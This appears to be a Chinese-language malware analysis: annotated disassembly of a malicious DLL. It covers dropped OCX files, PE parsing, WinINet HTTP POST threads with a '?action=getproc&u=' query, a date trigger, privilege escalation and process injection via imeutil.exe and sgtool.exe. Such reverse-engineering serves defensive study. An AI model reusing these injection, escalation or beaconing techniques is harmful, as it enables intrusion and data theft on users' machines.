1000A507 C645 FB 65 mov byte ptr [ebp-5], 65
1000A50B 74 43 je short 1000A550
1000A50D 57 push edi ; 大写变小写
1000A50E FF15 70310010 call dword ptr [<&MSVCRT._strlwr>] ; msvcrt._strlwr
1000A514 8B35 B4310010 mov esi, dword ptr [<&MSVCRT.strstr>>; msvcrt.strstr
1000A51A C70424 E43E0010 mov dword ptr [esp], 10003EE4 ; ASCII "gbvgbv" 这个字符串有些熟悉，母体的时候就是将rundll32.exe复制成gbvgbv31.exe
1000A521 57 push edi
1000A522 FFD6 call esi
1000A524 59 pop ecx
1000A525 85C0 test eax, eax
1000A527 59 pop ecx
1000A528 75 16 jnz short 1000A540
1000A52A 8D45 F0 lea eax, dword ptr [ebp-10]
1000A52D 50 push eax
1000A52E 57 push edi
1000A52F FFD6 call esi
1000A531 59 pop ecx
1000A532 85C0 test eax, eax
1000A534 59 pop ecx
1000A535 75 09 jnz short 1000A540
1000A537 E8 09FFFFFF call 1000A445 ;这个call写入PE文件，得到函数地址等

{


1000A445 55 push ebp
1000A446 8BEC mov ebp, esp
1000A448 83EC 0C sub esp, 0C
1000A44B 8365 F4 00 and dword ptr [ebp-C], 0
1000A44F 8365 F8 00 and dword ptr [ebp-8], 0
1000A453 8D45 F4 lea eax, dword ptr [ebp-C]
1000A456 C745 FC 0100000>mov dword ptr [ebp-4], 1
1000A45D 50 push eax
1000A45E E8 25FFFFFF call 1000A388 ;
{


1000A388 55 push ebp
1000A389 8BEC mov ebp, esp
1000A38B 51 push ecx
1000A38C 51 push ecx
1000A38D 53 push ebx
1000A38E 33DB xor ebx, ebx
1000A390 53 push ebx
1000A391 53 push ebx
1000A392 6A 03 push 3
1000A394 53 push ebx
1000A395 6A 01 push 1
1000A397 68 00000080 push 80000000
1000A39C 68 D42B0010 push 10002BD4 ; ASCII "C:\WINDOWS\system32\dbr31004.ocx"
1000A3A1 FF15 A4300010 call dword ptr [<&KERNEL32.CreateFile>; kernel32.CreateFileA
1000A3A7 83F8 FF cmp eax, -1
1000A3AA 8945 FC mov dword ptr [ebp-4], eax
1000A3AD 74 58 je short 1000A407
1000A3AF 56 push esi
1000A3B0 57 push edi
1000A3B1 53 push ebx
1000A3B2 50 push eax
1000A3B3 FF15 0C310010 call dword ptr [<&KERNEL32.GetFileSiz>; kernel32.GetFileSize
1000A3B9 8BF0 mov esi, eax
1000A3BB 6A 04 push 4
1000A3BD 68 00100000 push 1000
1000A3C2 56 push esi
1000A3C3 53 push ebx
1000A3C4 FF15 D0300010 call dword ptr [<&KERNEL32.VirtualAll>; kernel32.VirtualAlloc
1000A3CA 8BF8 mov edi, eax
1000A3CC 3BFB cmp edi, ebx
1000A3CE 74 2C je short 1000A3FC
1000A3D0 8D45 F8 lea eax, dword ptr [ebp-8]
1000A3D3 53 push ebx
1000A3D4 50 push eax
1000A3D5 56 push esi
1000A3D6 57 push edi
1000A3D7 FF75 FC push dword ptr [ebp-4]
1000A3DA FF15 BC300010 call dword ptr [<&KERNEL32.ReadFile>] ; kernel32.ReadFile
1000A3E0 56 push esi
1000A3E1 57 push edi
1000A3E2 FF75 08 push dword ptr [ebp+8]
1000A3E5 E8 51FFFFFF call 1000A33B ; 进行PE操作，得到函数的地址等等

{
判断是否是PE文件，就是判断MZ,PE即，5A4D,4550
1000A136 8B4424 04 mov eax, dword ptr [esp+4]
1000A13A 66:8138 4D5A cmp word ptr [eax], 5A4D
1000A13F 75 10 jnz short 1000A151
1000A141 8B48 3C mov ecx, dword ptr [eax+3C] ；IMAGE_DOS_HEADER,偏移3C处的e_lfanew
1000A144 813C01 50450000 cmp dword ptr [ecx+eax], 4550
1000A14B 75 04 jnz short 1000A151
1000A14D 6A 01 push 1
1000A14F 58 pop eax
1000A150 C3 retn

}


1000A3EA 83C4 0C add esp, 0C
1000A3ED 8BD8 mov ebx, eax
1000A3EF 68 00400000 push 4000
1000A3F4 56 push esi
1000A3F5 57 push edi
1000A3F6 FF15 04310010 call dword ptr [<&KERNEL32.VirtualFre>; kernel32.VirtualFree
1000A3FC FF75 FC push dword ptr [ebp-4]
1000A3FF FF15 30310010 call dword ptr [<&KERNEL32.CloseHandl>; kernel32.CloseHandle
1000A405 5F pop edi
1000A406 5E pop esi
1000A407 8BC3 mov eax, ebx
1000A409 5B pop ebx
1000A40A C9 leave
1000A40B C3 retn

}
1000A463 C70424 D42B0010 mov dword ptr [esp], 10002BD4 ; ASCII "C:\WINDOWS\system32\dbr31004.ocx"
1000A46A 8D45 F4 lea eax, dword ptr [ebp-C]
1000A46D 68 66668888 push 88886666
1000A472 50 push eax
1000A473 E8 94FFFFFF call 1000A40C
1000A478 68 00100000 push 1000
1000A47D 6A 00 push 0
1000A47F FF75 F4 push dword ptr [ebp-C]
1000A482 E8 23090000 call <jmp.&MSVCRT.memset>
1000A487 83C4 18 add esp, 18
1000A48A C9 leave
1000A48B C3 retn

}
1000A53C 33C0 xor eax, eax
1000A53E EB 1F jmp short 1000A55F
1000A540 FF75 10 push dword ptr [ebp+10]
1000A543 FF75 0C push dword ptr [ebp+C]
1000A546 FF75 08 push dword ptr [ebp+8]
1000A549 E8 94030000 call 1000A8E2 
1000A54E EB 0F jmp short 1000A55F
1000A550 6A 00 push 0
1000A552 6A 01 push 1
1000A554 FF75 08 push dword ptr [ebp+8]
1000A557 E8 86030000 call 1000A8E2
1000A55C 6A 01 push 1
1000A55E 58 pop eax
1000A55F 5F pop edi
1000A560 5E pop esi
1000A561 5B pop ebx
1000A562 C9 leave
1000A563 C3 retn









进行网络操作的线程3，进行post

ASCII "WININET.dll"
kernel32.LoadLibraryA
ASCII "InternetOpenA"
766957c6
ASCII "InternetOpenUrlA"
76695a92

ASCII "HttpQueryInfoA"
76697932
ASCII "InternetReadFile"
7669825f

ASCII "InternetCloseHandle"
76694dc4


10007ED5 55 push ebp
10007ED6 8BEC mov ebp, esp
10007ED8 81EC F8030000 sub esp, 3F8
10007EDE 53 push ebx
10007EDF 57 push edi
10007EE0 6A 7F push 7F
10007EE2 33DB xor ebx, ebx
10007EE4 59 pop ecx
10007EE5 33C0 xor eax, eax
10007EE7 8DBD FDFDFFFF lea edi, dword ptr [ebp-203]
10007EED 889D FCFDFFFF mov byte ptr [ebp-204], bl
10007EF3 F3:AB rep stos dword ptr es:[edi]
10007EF5 FF75 0C push dword ptr [ebp+C]
10007EF8 66:AB stos word ptr es:[edi]
10007EFA AA stos byte ptr es:[edi]
10007EFB 8D85 FCFDFFFF lea eax, dword ptr [ebp-204]
10007F01 50 push eax
10007F02 E8 CB2E0000 call <jmp.&MSVCRT.strcpy>
10007F07 59 pop ecx
10007F08 59 pop ecx
10007F09 E8 B5C6FFFF call 100045C3 ; 获取网络操作的函数地址
10007F0E E8 A7FDFFFF call 10007CBA ; 同上，继续获得
10007F13 53 push ebx
10007F14 53 push ebx
10007F15 53 push ebx
10007F16 53 push ebx
10007F17 68 1C3D0010 push 10003D1C ; ASCII "HttpSendRequestEx"
10007F1C FF15 C0110010 call dword ptr [100011C0]
10007F22 3BC3 cmp eax, ebx
10007F24 8945 FC mov dword ptr [ebp-4], eax
10007F27 75 07 jnz short 10007F30
10007F29 53 push ebx
10007F2A FF15 6C310010 call dword ptr [<&MSVCRT.exit>] ; msvcrt.exit
10007F30 56 push esi
10007F31 8D85 FCFDFFFF lea eax, dword ptr [ebp-204]
10007F37 6A 3A push 3A
10007F39 50 push eax
10007F3A FF15 48310010 call dword ptr [<&MSVCRT.strchr>] ; msvcrt.strchr
10007F40 8BF0 mov esi, eax
10007F42 59 pop ecx
10007F43 3BF3 cmp esi, ebx
10007F45 59 pop ecx
10007F46 74 0F je short 10007F57
10007F48 8D46 01 lea eax, dword ptr [esi+1]
10007F4B 50 push eax
10007F4C FF15 78310010 call dword ptr [<&MSVCRT.atoi>] ; msvcrt.atoi
10007F52 59 pop ecx
10007F53 881E mov byte ptr [esi], bl
10007F55 EB 03 jmp short 10007F5A
10007F57 6A 50 push 50
10007F59 58 pop eax
10007F5A 53 push ebx
10007F5B 53 push ebx
10007F5C 6A 03 push 3
10007F5E 53 push ebx
10007F5F 53 push ebx
10007F60 50 push eax
10007F61 8D85 FCFDFFFF lea eax, dword ptr [ebp-204]
10007F67 50 push eax
10007F68 FF75 FC push dword ptr [ebp-4]
10007F6B FF15 C0200010 call dword ptr [100020C0]
10007F71 8BF8 mov edi, eax
10007F73 3BFB cmp edi, ebx
10007F75 74 67 je short 10007FDE
10007F77 53 push ebx
10007F78 68 00000004 push 4000000
10007F7D 53 push ebx
10007F7E 53 push ebx
10007F7F 53 push ebx
10007F80 FF75 10 push dword ptr [ebp+10]
10007F83 68 143D0010 push 10003D14 ; ASCII "POST"
10007F88 57 push edi
10007F89 FF15 C4200010 call dword ptr [100020C4]
10007F8F 8BF0 mov esi, eax
10007F91 3BF3 cmp esi, ebx
10007F93 74 42 je short 10007FD7
10007F95 FF75 08 push dword ptr [ebp+8]
10007F98 56 push esi
10007F99 E8 6BFBFFFF call 10007B09
10007F9E 59 pop ecx
10007F9F 85C0 test eax, eax
10007FA1 59 pop ecx
10007FA2 74 2C je short 10007FD0
10007FA4 8D45 0C lea eax, dword ptr [ebp+C]
10007FA7 895D 0C mov dword ptr [ebp+C], ebx
10007FAA 50 push eax
10007FAB 8D85 08FCFFFF lea eax, dword ptr [ebp-3F8]
10007FB1 68 F3010000 push 1F3
10007FB6 50 push eax
10007FB7 56 push esi
10007FB8 FF15 B4110010 call dword ptr [100011B4]
10007FBE 85C0 test eax, eax
10007FC0 8B45 0C mov eax, dword ptr [ebp+C]
10007FC3 74 07 je short 10007FCC
10007FC5 889C05 08FCFFFF mov byte ptr [ebp+eax-3F8], bl
10007FCC 3BC3 cmp eax, ebx
10007FCE ^ 77 D4 ja short 10007FA4
10007FD0 56 push esi
10007FD1 FF15 B8110010 call dword ptr [100011B8]
10007FD7 57 push edi
10007FD8 FF15 B8110010 call dword ptr [100011B8]
10007FDE FF75 FC push dword ptr [ebp-4]
10007FE1 FF15 B8110010 call dword ptr [100011B8]
10007FE7 5E pop esi
10007FE8 5F pop edi
10007FE9 5B pop ebx
10007FEA C9 leave
10007FEB C3 retn


线程4同样进行网络数据传输：

10008C1E 55 push ebp ; 线程4
10008C1F 8BEC mov ebp, esp
10008C21 81EC 28040000 sub esp, 428
10008C27 53 push ebx
10008C28 56 push esi
10008C29 8B35 B0300010 mov esi, dword ptr [<&KERNEL32.Sleep>] ; kernel32.Sleep
10008C2F 57 push edi
10008C30 33DB xor ebx, ebx
10008C32 68 B80B0000 push 0BB8
10008C37 895D FC mov dword ptr [ebp-4], ebx
10008C3A FFD6 call esi
10008C3C 391D FC210010 cmp dword ptr [100021FC], ebx
10008C42 75 05 jnz short 10008C49
10008C44 E8 77F4FFFF call 100080C0 ; 加载ws2_32.dll，其中获得recv，recvfrom函数地地址
10008C49 E8 B3F5FFFF call 10008201
10008C4E 85C0 test eax, eax
10008C50 74 03 je short 10008C55
10008C52 895D FC mov dword ptr [ebp-4], ebx
10008C55 6A 7F push 7F
10008C57 33C0 xor eax, eax
10008C59 59 pop ecx
10008C5A 8DBD D9FDFFFF lea edi, dword ptr [ebp-227]
10008C60 889D D8FDFFFF mov byte ptr [ebp-228], bl
10008C66 F3:AB rep stos dword ptr es:[edi]
10008C68 66:AB stos word ptr es:[edi]
10008C6A AA stos byte ptr es:[edi]
10008C6B 68 D0070000 push 7D0
10008C70 FFD6 call esi
10008C72 395D FC cmp dword ptr [ebp-4], ebx
10008C75 75 08 jnz short 10008C7F
10008C77 E8 85F5FFFF call 10008201
10008C7C 8945 FC mov dword ptr [ebp-4], eax
10008C7F 68 00020000 push 200
10008C84 8D85 D8FDFFFF lea eax, dword ptr [ebp-228]
10008C8A 53 push ebx
10008C8B 50 push eax
10008C8C E8 19210000 call <jmp.&MSVCRT.memset>
10008C91 68 BC1C0010 push 10001CBC
10008C96 8D45 E4 lea eax, dword ptr [ebp-1C]
10008C99 68 F4200010 push 100020F4
10008C9E 50 push eax
10008C9F 8D85 D8FBFFFF lea eax, dword ptr [ebp-428]
10008CA5 C645 E4 25 mov byte ptr [ebp-1C], 25
10008CA9 50 push eax
10008CAA C645 E5 73 mov byte ptr [ebp-1B], 73
10008CAE C645 E6 3F mov byte ptr [ebp-1A], 3F
10008CB2 C645 E7 61 mov byte ptr [ebp-19], 61
10008CB6 C645 E8 63 mov byte ptr [ebp-18], 63
10008CBA C645 E9 74 mov byte ptr [ebp-17], 74
10008CBE C645 EA 69 mov byte ptr [ebp-16], 69
10008CC2 C645 EB 6F mov byte ptr [ebp-15], 6F
10008CC6 C645 EC 6E mov byte ptr [ebp-14], 6E
10008CCA C645 ED 3D mov byte ptr [ebp-13], 3D
10008CCE C645 EE 67 mov byte ptr [ebp-12], 67
10008CD2 C645 EF 65 mov byte ptr [ebp-11], 65
10008CD6 C645 F0 74 mov byte ptr [ebp-10], 74
10008CDA C645 F1 70 mov byte ptr [ebp-F], 70
10008CDE C645 F2 72 mov byte ptr [ebp-E], 72
10008CE2 C645 F3 6F mov byte ptr [ebp-D], 6F
10008CE6 C645 F4 63 mov byte ptr [ebp-C], 63
10008CEA C645 F5 26 mov byte ptr [ebp-B], 26
10008CEE C645 F6 75 mov byte ptr [ebp-A], 75
10008CF2 C645 F7 3D mov byte ptr [ebp-9], 3D
10008CF6 C645 F8 25 mov byte ptr [ebp-8], 25
10008CFA C645 F9 73 mov byte ptr [ebp-7], 73
10008CFE 885D FA mov byte ptr [ebp-6], bl
10008D01 FF15 F0310010 call dword ptr [<&USER32.wsprintfA>] ; USER32.wsprintfA
10008D07 83C4 1C add esp, 1C ; ？action=getproc&u=
10008D0A 381D F8210010 cmp byte ptr [100021F8], bl
10008D10 ^ 0F85 55FFFFFF jnz 10008C6B
10008D16 8D45 E0 lea eax, dword ptr [ebp-20]
10008D19 50 push eax
10008D1A 8D85 D8FDFFFF lea eax, dword ptr [ebp-228]
10008D20 50 push eax
10008D21 8D85 D8FBFFFF lea eax, dword ptr [ebp-428]
10008D27 50 push eax
10008D28 E8 FCECFFFF call 10007A29
10008D2D 83C4 0C add esp, 0C
10008D30 85C0 test eax, eax
10008D32 74 5A je short 10008D8E
10008D34 8B45 E0 mov eax, dword ptr [ebp-20]
10008D37 889C05 D8FDFFFF mov byte ptr [ebp+eax-228], bl
10008D3E 8D85 D8FDFFFF lea eax, dword ptr [ebp-228]
10008D44 50 push eax
10008D45 E8 FAF9FFFF call 10008744
10008D4A 8D85 D8FDFFFF lea eax, dword ptr [ebp-228]
10008D50 50 push eax
10008D51 E8 C3F9FFFF call 10008719
10008D56 59 pop ecx
10008D57 83F8 01 cmp eax, 1
10008D5A 59 pop ecx
10008D5B 74 3E je short 10008D9B
10008D5D 381D D4200010 cmp byte ptr [100020D4], bl
10008D63 74 29 je short 10008D8E
10008D65 833D F0200010 0>cmp dword ptr [100020F0], 1
10008D6C 7E 12 jle short 10008D80
10008D6E 891D F0200010 mov dword ptr [100020F0], ebx
10008D74 881D D4200010 mov byte ptr [100020D4], bl
10008D7A 891D 14220010 mov dword ptr [10002214], ebx
10008D80 381D D4200010 cmp byte ptr [100020D4], bl
10008D86 74 06 je short 10008D8E
10008D88 FF05 F0200010 inc dword ptr [100020F0]
10008D8E 391D 1C220010 cmp dword ptr [1000221C], ebx
10008D94 75 68 jnz short 10008DFE
10008D96 ^ E9 D0FEFFFF jmp 10008C6B
10008D9B A1 FC210010 mov eax, dword ptr [100021FC]
10008DA0 3BC3 cmp eax, ebx
10008DA2 74 31 je short 10008DD5
10008DA4 895D DC mov dword ptr [ebp-24], ebx
10008DA7 7E 36 jle short 10008DDF
10008DA9 C745 FC 0422001>mov dword ptr [ebp-4], 10002204
10008DB0 8B45 FC mov eax, dword ptr [ebp-4]
10008DB3 8B00 mov eax, dword ptr [eax]
10008DB5 8945 D8 mov dword ptr [ebp-28], eax
10008DB8 60 pushad
10008DB9 8B45 D8 mov eax, dword ptr [ebp-28]
10008DBC FFD0 call eax
10008DBE 61 popad
10008DBF FF45 DC inc dword ptr [ebp-24]
10008DC2 8345 FC 04 add dword ptr [ebp-4], 4
10008DC6 8B45 DC mov eax, dword ptr [ebp-24]
10008DC9 3B05 FC210010 cmp eax, dword ptr [100021FC]
10008DCF ^ 7C DF jl short 10008DB0
10008DD1 33DB xor ebx, ebx
10008DD3 EB 0A jmp short 10008DDF
10008DD5 E8 B0F2FFFF call 1000808A
10008DDA E8 D3F2FFFF call 100080B2
10008DDF 391D 14220010 cmp dword ptr [10002214], ebx
10008DE5 75 11 jnz short 10008DF8
10008DE7 53 push ebx
10008DE8 C705 14220010 0>mov dword ptr [10002214], 1
10008DF2 E8 1FFCFFFF call 10008A16
10008DF7 59 pop ecx
10008DF8 891D E8200010 mov dword ptr [100020E8], ebx
10008DFE 5F pop edi
10008DFF 5E pop esi
10008E00 5B pop ebx
10008E01 C9 leave
10008E02 C3 retn




线程5

1000AB68 55 push ebp ; 线程5
1000AB69 8BEC mov ebp, esp
1000AB6B 6A FF push -1
1000AB6D 68 903F0010 push 10003F90
1000AB72 68 C0AD0010 push <jmp.&MSVCRT._except_handler3>
1000AB77 64:A1 00000000 mov eax, dword ptr fs:[0]
1000AB7D 50 push eax
1000AB7E 64:8925 0000000>mov dword ptr fs:[0], esp
1000AB85 81EC 70020000 sub esp, 270
1000AB8B 53 push ebx
1000AB8C 56 push esi
1000AB8D 57 push edi
1000AB8E 8965 E8 mov dword ptr [ebp-18], esp
1000AB91 80A5 D4FEFFFF 0>and byte ptr [ebp-12C], 0
1000AB98 6A 40 push 40
1000AB9A 59 pop ecx
1000AB9B 33C0 xor eax, eax
1000AB9D 8DBD D5FEFFFF lea edi, dword ptr [ebp-12B]
1000ABA3 F3:AB rep stos dword ptr es:[edi]
1000ABA5 66:AB stos word ptr es:[edi]
1000ABA7 AA stos byte ptr es:[edi]
1000ABA8 C645 D8 65 mov byte ptr [ebp-28], 65
1000ABAC C645 D9 78 mov byte ptr [ebp-27], 78
1000ABB0 C645 DA 70 mov byte ptr [ebp-26], 70
1000ABB4 C645 DB 6C mov byte ptr [ebp-25], 6C
1000ABB8 C645 DC 6F mov byte ptr [ebp-24], 6F
1000ABBC C645 DD 72 mov byte ptr [ebp-23], 72
1000ABC0 C645 DE 65 mov byte ptr [ebp-22], 65
1000ABC4 C645 DF 72 mov byte ptr [ebp-21], 72
1000ABC8 C645 E0 2E mov byte ptr [ebp-20], 2E
1000ABCC C645 E1 65 mov byte ptr [ebp-1F], 65
1000ABD0 C645 E2 78 mov byte ptr [ebp-1E], 78
1000ABD4 C645 E3 65 mov byte ptr [ebp-1D], 65
1000ABD8 8065 E4 00 and byte ptr [ebp-1C], 0
1000ABDC 80A5 90FEFFFF 0>and byte ptr [ebp-170], 0
1000ABE3 6A 0F push 0F
1000ABE5 59 pop ecx
1000ABE6 33C0 xor eax, eax
1000ABE8 8DBD 91FEFFFF lea edi, dword ptr [ebp-16F]
1000ABEE F3:AB rep stos dword ptr es:[edi]
1000ABF0 66:AB stos word ptr es:[edi]
1000ABF2 AA stos byte ptr es:[edi]
1000ABF3 68 683D0010 push 10003D68 ; ASCII "ldjgam"
1000ABF8 8D85 90FEFFFF lea eax, dword ptr [ebp-170]
1000ABFE 50 push eax
1000ABFF E8 CE010000 call <jmp.&MSVCRT.strcpy>
1000AC04 68 603D0010 push 10003D60 ; ASCII "e.exe"
1000AC09 8D85 90FEFFFF lea eax, dword ptr [ebp-170]
1000AC0F 50 push eax
1000AC10 E8 B1010000 call <jmp.&MSVCRT.strcat>
1000AC15 BE D82C0010 mov esi, 10002CD8
1000AC1A 56 push esi
1000AC1B 8B1D 70310010 mov ebx, dword ptr [<&MSVCRT._strlwr>] ; msvcrt._strlwr
1000AC21 FFD3 call ebx
1000AC23 8D45 D8 lea eax, dword ptr [ebp-28]
1000AC26 50 push eax
1000AC27 56 push esi
1000AC28 FF15 B4310010 call dword ptr [<&MSVCRT.strstr>] ; msvcrt.strstr
1000AC2E 83C4 1C add esp, 1C
1000AC31 85C0 test eax, eax
1000AC33 74 29 je short 1000AC5E
1000AC35 33FF xor edi, edi
1000AC37 57 push edi
1000AC38 E8 F5CBFFFF call 10007832
1000AC3D 59 pop ecx
1000AC3E 57 push edi
1000AC3F 57 push edi
1000AC40 57 push edi
1000AC41 68 BF900010 push 100090BF
1000AC46 57 push edi
1000AC47 57 push edi
1000AC48 FF15 DC300010 call dword ptr [<&KERNEL32.CreateThread>] ; kernel32.CreateThread
1000AC4E 57 push edi
1000AC4F 57 push edi
1000AC50 57 push edi
1000AC51 68 1C910010 push 1000911C
1000AC56 57 push edi
1000AC57 57 push edi
1000AC58 FF15 DC300010 call dword ptr [<&KERNEL32.CreateThread>] ; kernel32.CreateThread
1000AC5E 80A5 88FDFFFF 0>and byte ptr [ebp-278], 0
1000AC65 6A 40 push 40
1000AC67 59 pop ecx
1000AC68 33C0 xor eax, eax
1000AC6A 8DBD 89FDFFFF lea edi, dword ptr [ebp-277]
1000AC70 F3:AB rep stos dword ptr es:[edi]
1000AC72 66:AB stos word ptr es:[edi]
1000AC74 AA stos byte ptr es:[edi]
1000AC75 68 04010000 push 104
1000AC7A 8D85 D4FEFFFF lea eax, dword ptr [ebp-12C]
1000AC80 50 push eax
1000AC81 6A 00 push 0
1000AC83 FF15 4C300010 call dword ptr [<&KERNEL32.GetModuleFileNa>; kernel32.GetModuleFileNameA
1000AC89 8365 FC 00 and dword ptr [ebp-4], 0
1000AC8D E8 B19FFFFF call 10004C43 ; 时间判断 2011.8.19
1000AC92 85C0 test eax, eax
1000AC94 0F85 D6000000 jnz 1000AD70
1000AC9A 8D85 90FEFFFF lea eax, dword ptr [ebp-170]
1000ACA0 50 push eax
1000ACA1 8D85 88FDFFFF lea eax, dword ptr [ebp-278]
1000ACA7 50 push eax
1000ACA8 E8 25010000 call <jmp.&MSVCRT.strcpy>
1000ACAD 59 pop ecx
1000ACAE 59 pop ecx
1000ACAF FF15 2C310010 call dword ptr [<&KERNEL32.GetCurrentProce>; kernel32.GetCurrentProcessId
1000ACB5 8985 D0FEFFFF mov dword ptr [ebp-130], eax
1000ACBB 56 push esi
1000ACBC FFD3 call ebx
1000ACBE 8D85 88FDFFFF lea eax, dword ptr [ebp-278]
1000ACC4 50 push eax
1000ACC5 FFD3 call ebx
1000ACC7 8D85 88FDFFFF lea eax, dword ptr [ebp-278]
1000ACCD 50 push eax
1000ACCE 56 push esi
1000ACCF 8B3D B4310010 mov edi, dword ptr [<&MSVCRT.strstr>] ; msvcrt.strstr
1000ACD5 FFD7 call edi
1000ACD7 83C4 10 add esp, 10
1000ACDA 85C0 test eax, eax
1000ACDC 74 42 je short 1000AD20
1000ACDE 6A 5C push 5C
1000ACE0 8D85 D4FEFFFF lea eax, dword ptr [ebp-12C]
1000ACE6 50 push eax
1000ACE7 FF15 94310010 call dword ptr [<&MSVCRT.strrchr>] ; msvcrt.strrchr
1000ACED 59 pop ecx
1000ACEE 59 pop ecx
1000ACEF 8BF0 mov esi, eax
1000ACF1 46 inc esi
1000ACF2 89B5 8CFEFFFF mov dword ptr [ebp-174], esi
1000ACF8 83A5 84FDFFFF 0>and dword ptr [ebp-27C], 0
1000ACFF 8B85 84FDFFFF mov eax, dword ptr [ebp-27C]
1000AD05 8B0485 0C3F0010 mov eax, dword ptr [eax*4+10003F0C]
1000AD0C 85C0 test eax, eax
1000AD0E 74 60 je short 1000AD70
1000AD10 56 push esi
1000AD11 FFD0 call eax
1000AD13 59 pop ecx
1000AD14 85C0 test eax, eax
1000AD16 75 58 jnz short 1000AD70
1000AD18 FF85 84FDFFFF inc dword ptr [ebp-27C]
1000AD1E ^ EB DF jmp short 1000ACFF
1000AD20 68 703D0010 push 10003D70 ; ASCII "launch.exe"
1000AD25 56 push esi
1000AD26 FFD7 call edi
1000AD28 59 pop ecx
1000AD29 59 pop ecx
1000AD2A 85C0 test eax, eax
1000AD2C 74 42 je short 1000AD70
1000AD2E 6A 5C push 5C
1000AD30 8D85 D4FEFFFF lea eax, dword ptr [ebp-12C]
1000AD36 50 push eax
1000AD37 FF15 94310010 call dword ptr [<&MSVCRT.strrchr>] ; msvcrt.strrchr
1000AD3D 59 pop ecx
1000AD3E 59 pop ecx
1000AD3F 8BF0 mov esi, eax
1000AD41 46 inc esi
1000AD42 89B5 8CFEFFFF mov dword ptr [ebp-174], esi
1000AD48 83A5 80FDFFFF 0>and dword ptr [ebp-280], 0
1000AD4F 8B85 80FDFFFF mov eax, dword ptr [ebp-280]
1000AD55 8B0485 0C3F0010 mov eax, dword ptr [eax*4+10003F0C]
1000AD5C 85C0 test eax, eax
1000AD5E 74 10 je short 1000AD70
1000AD60 56 push esi
1000AD61 FFD0 call eax
1000AD63 59 pop ecx
1000AD64 85C0 test eax, eax
1000AD66 75 08 jnz short 1000AD70
1000AD68 FF85 80FDFFFF inc dword ptr [ebp-280]
1000AD6E ^ EB DF jmp short 1000AD4F
1000AD70 834D FC FF or dword ptr [ebp-4], FFFFFFFF
1000AD74 6A 01 push 1
1000AD76 58 pop eax
1000AD77 EB 0D jmp short 1000AD86
1000AD79 6A 01 push 1
1000AD7B 58 pop eax
1000AD7C C3 retn


线程6主要通过imeutil.exe与sgtool.exe实现注入，写入数据

1000911C 55 push ebp ; 线程6
1000911D 8BEC mov ebp, esp
1000911F 6A FF push -1
10009121 68 803F0010 push 10003F80
10009126 68 C0AD0010 push <jmp.&MSVCRT._except_handler3>
1000912B 64:A1 00000000 mov eax, dword ptr fs:[0]
10009131 50 push eax
10009132 64:8925 0000000>mov dword ptr fs:[0], esp
10009139 81EC 740A0000 sub esp, 0A74
1000913F 53 push ebx
10009140 56 push esi
10009141 57 push edi
10009142 8965 E8 mov dword ptr [ebp-18], esp
10009145 C785 94FBFFFF 0>mov dword ptr [ebp-46C], 1
1000914F 33DB xor ebx, ebx
10009151 889D E0FDFFFF mov byte ptr [ebp-220], bl
10009157 6A 40 push 40
10009159 59 pop ecx
1000915A 33C0 xor eax, eax
1000915C 8DBD E1FDFFFF lea edi, dword ptr [ebp-21F]
10009162 F3:AB rep stos dword ptr es:[edi]
10009164 66:AB stos word ptr es:[edi]
10009166 AA stos byte ptr es:[edi]
10009167 6A 63 push 63
10009169 8D85 E0FDFFFF lea eax, dword ptr [ebp-220]
1000916F 50 push eax
10009170 E8 C8E5FFFF call 1000773D ; 找两个ocx
10009175 E8 9FB2FFFF call 10004419 ; 提权
1000917A C685 E4FEFFFF 6>mov byte ptr [ebp-11C], 69 ; imeutil.exe
10009181 C685 E5FEFFFF 6>mov byte ptr [ebp-11B], 6D
10009188 C685 E6FEFFFF 6>mov byte ptr [ebp-11A], 65
1000918F C685 E7FEFFFF 7>mov byte ptr [ebp-119], 75
10009196 C685 E8FEFFFF 7>mov byte ptr [ebp-118], 74
1000919D C685 E9FEFFFF 6>mov byte ptr [ebp-117], 69
100091A4 C685 EAFEFFFF 6>mov byte ptr [ebp-116], 6C
100091AB C685 EBFEFFFF 2>mov byte ptr [ebp-115], 2E
100091B2 C685 ECFEFFFF 6>mov byte ptr [ebp-114], 65
100091B9 C685 EDFEFFFF 7>mov byte ptr [ebp-113], 78
100091C0 C685 EEFEFFFF 6>mov byte ptr [ebp-112], 65
100091C7 889D EFFEFFFF mov byte ptr [ebp-111], bl
100091CD 6A 3E push 3E
100091CF 5E pop esi
100091D0 8BCE mov ecx, esi
100091D2 33C0 xor eax, eax
100091D4 8DBD F0FEFFFF lea edi, dword ptr [ebp-110]
100091DA F3:AB rep stos dword ptr es:[edi]
100091DC C685 98FBFFFF 7>mov byte ptr [ebp-468], 73
100091E3 C685 99FBFFFF 6>mov byte ptr [ebp-467], 67 ; sgtool.exe
100091EA C685 9AFBFFFF 7>mov byte ptr [ebp-466], 74
100091F1 C685 9BFBFFFF 6>mov byte ptr [ebp-465], 6F
100091F8 C685 9CFBFFFF 6>mov byte ptr [ebp-464], 6F
100091FF C685 9DFBFFFF 6>mov byte ptr [ebp-463], 6C
10009206 C685 9EFBFFFF 2>mov byte ptr [ebp-462], 2E
1000920D C685 9FFBFFFF 6>mov byte ptr [ebp-461], 65
10009214 C685 A0FBFFFF 7>mov byte ptr [ebp-460], 78
1000921B C685 A1FBFFFF 6>mov byte ptr [ebp-45F], 65
10009222 889D A2FBFFFF mov byte ptr [ebp-45E], bl
10009228 8BCE mov ecx, esi
1000922A 8DBD A3FBFFFF lea edi, dword ptr [ebp-45D]
10009230 F3:AB rep stos dword ptr es:[edi]
10009232 AA stos byte ptr es:[edi]
10009233 889D 9CFCFFFF mov byte ptr [ebp-364], bl
10009239 6A 0F push 0F
1000923B 59 pop ecx
1000923C 33C0 xor eax, eax
1000923E 8DBD 9DFCFFFF lea edi, dword ptr [ebp-363]
10009244 F3:AB rep stos dword ptr es:[edi]
10009246 66:AB stos word ptr es:[edi]
10009248 AA stos byte ptr es:[edi]
10009249 68 683D0010 push 10003D68 ; ASCII "ldjgam"
1000924E 8D85 9CFCFFFF lea eax, dword ptr [ebp-364]
10009254 50 push eax
10009255 E8 781B0000 call <jmp.&MSVCRT.strcpy>
1000925A 68 603D0010 push 10003D60 ; ASCII "e.exe"
1000925F 8D85 9CFCFFFF lea eax, dword ptr [ebp-364]
10009265 50 push eax
10009266 E8 5B1B0000 call <jmp.&MSVCRT.strcat>
1000926B 83C4 18 add esp, 18
1000926E 889D 8CF9FFFF mov byte ptr [ebp-674], bl
10009274 6A 40 push 40
10009276 59 pop ecx
10009277 33C0 xor eax, eax
10009279 8DBD 8DF9FFFF lea edi, dword ptr [ebp-673]
1000927F F3:AB rep stos dword ptr es:[edi]
10009281 66:AB stos word ptr es:[edi]
10009283 AA stos byte ptr es:[edi]
